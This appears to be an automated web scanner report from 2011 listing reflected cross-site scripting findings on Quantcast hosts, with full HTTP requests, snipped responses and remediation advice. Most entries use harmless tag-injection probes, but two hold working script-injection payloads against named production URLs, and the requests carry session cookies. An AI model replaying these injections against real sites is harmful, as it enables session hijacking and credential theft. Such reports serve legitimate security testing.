Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload bbd1a<a>93de670e8a6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /favicon.icobbd1a<a>93de670e8a6 HTTP/1.1 Host: widget.quantcast.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __qca=P0-1340562691-1296313949532; __utmz=14861494.1296918985.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/50; __utma=14861494.2106100296.1296313950.1296313950.1296918985.2; qcVisitor=1|56|1297443814309|0|NOTSET; JSESSIONID=F40D1571416FE7581917C228E3F75714
Response
HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Vary: Accept-Encoding Date: Fri, 11 Feb 2011 17:03:51 GMT Connection: close Content-Length: 7622
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; cha ...[SNIP]... <em> favicon.icobbd1a<a>93de670e8a6</em> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7381e"><a>599fd3ec291 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /favicon.ico7381e"><a>599fd3ec291 HTTP/1.1 Host: widget.quantcast.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __qca=P0-1340562691-1296313949532; __utmz=14861494.1296918985.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/50; __utma=14861494.2106100296.1296313950.1296313950.1296918985.2; qcVisitor=1|56|1297443814309|0|NOTSET; JSESSIONID=F40D1571416FE7581917C228E3F75714
Response
HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Vary: Accept-Encoding Date: Fri, 11 Feb 2011 17:03:49 GMT Connection: close Content-Length: 7628
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 84f96<a>0bb01fb1e1e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /user84f96<a>0bb01fb1e1e/widgetImage;jsessionid=611D79207D9FEDEECAD62D95FCC045CC?domain=wwp.greenwichmeantime.com&widget=1 HTTP/1.1 Host: widget.quantcast.com Proxy-Connection: keep-alive Referer: http://widget.quantcast.com/wwp.greenwichmeantime.com/1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __qca=P0-1340562691-1296313949532; __utmz=14861494.1296918985.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/50; __utma=14861494.2106100296.1296313950.1296313950.1296918985.2; qcVisitor=1|54|1297443416742|0|NOTSET; JSESSIONID=611D79207D9FEDEECAD62D95FCC045CC
Response
HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Vary: Accept-Encoding Date: Fri, 11 Feb 2011 16:56:59 GMT Connection: close Content-Length: 7637
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; cha ...[SNIP]... <em> user84f96<a>0bb01fb1e1e widgetImage</em> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3cdf2"><a>f1477246977 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /user3cdf2"><a>f1477246977/widgetImage;jsessionid=611D79207D9FEDEECAD62D95FCC045CC?domain=wwp.greenwichmeantime.com&widget=1 HTTP/1.1 Host: widget.quantcast.com Proxy-Connection: keep-alive Referer: http://widget.quantcast.com/wwp.greenwichmeantime.com/1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __qca=P0-1340562691-1296313949532; __utmz=14861494.1296918985.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/50; __utma=14861494.2106100296.1296313950.1296313950.1296918985.2; qcVisitor=1|54|1297443416742|0|NOTSET; JSESSIONID=611D79207D9FEDEECAD62D95FCC045CC
Response
HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Vary: Accept-Encoding Date: Fri, 11 Feb 2011 16:56:58 GMT Connection: close Content-Length: 7643
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bbf21"><a>dea5da7d6bf was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /user/widgetImagebbf21"><a>dea5da7d6bf;jsessionid=611D79207D9FEDEECAD62D95FCC045CC?domain=wwp.greenwichmeantime.com&widget=1 HTTP/1.1 Host: widget.quantcast.com Proxy-Connection: keep-alive Referer: http://widget.quantcast.com/wwp.greenwichmeantime.com/1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __qca=P0-1340562691-1296313949532; __utmz=14861494.1296918985.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/50; __utma=14861494.2106100296.1296313950.1296313950.1296918985.2; qcVisitor=1|54|1297443416742|0|NOTSET; JSESSIONID=611D79207D9FEDEECAD62D95FCC045CC
Response
HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html Content-Language: en-US Vary: Accept-Encoding Date: Fri, 11 Feb 2011 16:57:06 GMT Connection: close Content-Length: 16368
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; cha ...[SNIP]... <input type="text" id="query" class="search-main placeholder" name="q" autocomplete="off" value=" user widgetImagebbf21"><a>dea5da7d6bf" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 36bcb"><script>alert(1)</script>f55edf5835a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wwp.greenwichmeantime.com36bcb"><script>alert(1)</script>f55edf5835a/1 HTTP/1.1 Host: widget.quantcast.com Proxy-Connection: keep-alive Referer: http://wwp.greenwichmeantime.com/time-zone/asia/japan/tokyo/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __qca=P0-1340562691-1296313949532; __utmz=14861494.1296918985.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/50; __utma=14861494.2106100296.1296313950.1296313950.1296918985.2
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload acde3<a>5a82a1c80ec was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /audienceacde3<a>5a82a1c80ec HTTP/1.1 Host: www.quantcast.com Proxy-Connection: keep-alive Referer: http://www.quantcast.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __qca=P0-1340562691-1296313949532; __utmz=14861494.1296918985.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/50; __utma=14861494.2106100296.1296313950.1296313950.1296918985.2; qcVisitor=2|77|1296918427290|4|NOTSET
Response
HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=FEBCB80555A58F5737178151E39454CA; Path=/ Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Vary: Accept-Encoding Date: Fri, 11 Feb 2011 17:10:01 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; cha ...[SNIP]... <em> audienceacde3<a>5a82a1c80ec</em> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aeb40"><a>51d21722fff was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /audienceaeb40"><a>51d21722fff HTTP/1.1 Host: www.quantcast.com Proxy-Connection: keep-alive Referer: http://www.quantcast.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __qca=P0-1340562691-1296313949532; __utmz=14861494.1296918985.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/50; __utma=14861494.2106100296.1296313950.1296313950.1296918985.2; qcVisitor=2|77|1296918427290|4|NOTSET
Response
HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=6CE677CB8E43D04681F0409CFD3FA832; Path=/ Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Vary: Accept-Encoding Date: Fri, 11 Feb 2011 17:10:01 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f0a4c"><a>aa8dac6dc02 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /favicon.icof0a4c"><a>aa8dac6dc02 HTTP/1.1 Host: www.quantcast.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __qca=P0-1340562691-1296313949532; __utmz=14861494.1296918985.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/50; __utma=14861494.2106100296.1296313950.1296313950.1296918985.2; qcVisitor=0|77|1296918427290|3|NOTSET
Response
HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=B5C8C30210BD61F01D419307E322A242; Path=/ Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Vary: Accept-Encoding Date: Fri, 11 Feb 2011 17:07:52 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload a76c0<a>c66402afa5b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /favicon.icoa76c0<a>c66402afa5b HTTP/1.1 Host: www.quantcast.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __qca=P0-1340562691-1296313949532; __utmz=14861494.1296918985.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/50; __utma=14861494.2106100296.1296313950.1296313950.1296918985.2; qcVisitor=0|77|1296918427290|3|NOTSET
Response
HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=CE827D9DE934C4E7A46551C87FD5A6A9; Path=/ Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Vary: Accept-Encoding Date: Fri, 11 Feb 2011 17:07:52 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; cha ...[SNIP]... <em> favicon.icoa76c0<a>c66402afa5b</em> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dbbc9"><a>f563e9c8e27 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /learning-centerdbbc9"><a>f563e9c8e27/case-studies/study/auto3/ HTTP/1.1 Host: www.quantcast.com Proxy-Connection: keep-alive Referer: http://www.quantcast.com/audience Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __qca=P0-1340562691-1296313949532; __utmz=14861494.1296918985.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/50; qcVisitor=2|77|1296918427290|4|NOTSET; __utma=14861494.2106100296.1296313950.1296918985.1297444254.3; __utmc=14861494; __utmb=14861494.1.10.1297444254
Response
HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=23C430BA67C10E28917D8118A9663F55; Path=/ Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Vary: Accept-Encoding Date: Fri, 11 Feb 2011 17:10:05 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; cha ...[SNIP]... <input type="text" id="query" class="search-main placeholder" name="q" autocomplete="off" value=" learning-centerdbbc9"><a>f563e9c8e27 case-studies study auto3 " /> ...[SNIP]...
1.12. http://www.quantcast.com/learning-center/case-studies/study/auto3/ [name of an arbitrarily supplied request parameter]previous
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.quantcast.com
Path:
/learning-center/case-studies/study/auto3/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 504f9"><script>alert(1)</script>7707cd15c5e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 504f9\"><script>alert(1)</script>7707cd15c5e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /learning-center/case-studies/study/auto3/?504f9"><script>alert(1)</script>7707cd15c5e=1 HTTP/1.1 Host: www.quantcast.com Proxy-Connection: keep-alive Referer: http://www.quantcast.com/audience Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __qca=P0-1340562691-1296313949532; __utmz=14861494.1296918985.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/50; qcVisitor=2|77|1296918427290|4|NOTSET; __utma=14861494.2106100296.1296313950.1296918985.1297444254.3; __utmc=14861494; __utmb=14861494.1.10.1297444254
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Date: Fri, 11 Feb 2011 17:10:06 GMT Expires: Thu, 10 Feb 2011 05:10:05 GMT Cache-control: private, max-age=0 Content-Type: text/html;charset=UTF-8 Connection: close Content-Length: 31649
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="quantcast" clas ...[SNIP]... <a href="/learning-center/case-studies/study/auto3/?504f9\"><script>alert(1)</script>7707cd15c5e=1"> ...[SNIP]...